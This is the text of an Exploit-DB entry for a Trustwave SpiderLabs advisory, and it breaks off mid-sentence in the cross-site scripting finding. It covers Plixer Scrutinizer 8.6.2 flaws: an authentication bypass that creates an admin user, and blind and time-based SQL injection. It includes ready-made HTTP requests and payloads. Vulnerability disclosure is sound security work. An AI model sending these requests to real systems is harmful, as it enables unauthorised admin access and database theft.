Exploit-DB #18750
Description: Scrutinizer NetFlow & sFlow Analyzer - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2012-04-19
Author: Trustwave's SpiderLabs

Exploit:
Trustwave SpiderLabs Security Advisory TWSL2012-008:
Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-008.txt

Published: 04/11/12
Version: 1.0

Vendor: Plixer International (http://www.plixer.com)
Product: Scrutinizer NetFlow and sFlow Analyzer
Version affected:  8.6.2 (8.6.2.16204) confirmed; others may be vulnerable

Product description:
Network analysis tool for monitoring the overall network health and reports
on which hosts, applications, protocols, etc. that are consuming network
bandwidth.

Credit: Tanya Secker of Trustwave SpiderLabs

Finding 1: HTTP Authentication Bypass Vulnerability
CVE: CVE-2012-1258

The Scrutinizer web console provides a form-based login facility, requiring
users to authenticate to gain access to further functionality. A tiered
user access model is also used, where administrative and standard users
have a different selection of permissible functions. Authentication and
authorization is controlled by the cookie-based session management system.
Although this is implemented in a standardized way, the session tokens are
not required to perform privileged functions, such as adding users.

Example:

This request will add a user named "trustwave" with the password of
"trustwave" to the administrative user group.

#Request
GET /cgi-bin/userprefs.cgi?newUser=trustwave&[CREDENTIAL_REDACTED]=1&= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
#Response
HTTP/1.1 200 OK
Date: Thu, 17 Nov 2011 10:19:25 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 19

{"new_user_id":"9"}


Finding 2: SQL Injection
CVE: CVE-2012-1259

The Scrutinizer web console is prone to unauthenticated SQL Injection
attacks due to user input not being appropriately validated and passed
directly to the backend.  An attacker could exploit this vulnerability to
attempt to gain access to sensitive information within the database or to
perform other attacks on the system.

Example 1:

These requests/responses below show a blind SQL injection vector, where a
proof of concept is used to return a syntactically correct response from
the server (200 OK) followed by an incorrect one (500 Internal Server
Error).

#Request 1
GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20AND%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi

#Response 1
HTTP/1.1 200 OK
Date: Tue, 31 Jan 2012 23:51:46 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 230

#Request 2
GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20ANffD%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi

#Response 2
HTTP/1.1 500 Internal Server Error
Date: Tue, 31 Jan 2012 23:52:18 GMT
Server: Apache
Last-Modified: Fri, 17 Dec 2010 02:01:03 GMT
ETag: "900000001d93e-448-497918ae295c0"
Accept-Ranges: bytes
Content-Length: 1096
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

Example 2:

The "getPermissionsAndPreferences" variable within the following request is
also vulnerable to a blind time-based attack.  The example payload included
will result in the server taking a delay of approximately five seconds
before returning a response.

#Request
http://127.0.0.1/cgi-bin/login.cgi?getPermissionsAndPreferences=1%20AND%20SLEEP(5)&session_id=OyAOiECuFdtRbEBY&nocache=12_13_12_734

Example 3:

It should be noted that the other area referenced below returns SQL errors
when a comment character is introduced into the bolded parameters and may
therefore also indicate that they are vulnerable to SQL injection.  The
below request demonstrates this activity.

#Request
http://127.0.0.1/d4d/alarms.php?loadAlarms=1&user_id=1&step=10&page=0&search_str=test&column=msg&fa_algorithm=all&order=modified_ts


Finding 3: Persistent Cross-site Scripting
CVE: CVE-2012-1260

The Scrutinizer web console stores unmodified user-supplied parameters
within its database.  No input validation or character encoding is
performed, resulting in the possibility of client-supplied variables
forming aspects of page content in such a way as to affect the syntax of
the HTML content.

Example:

The below requ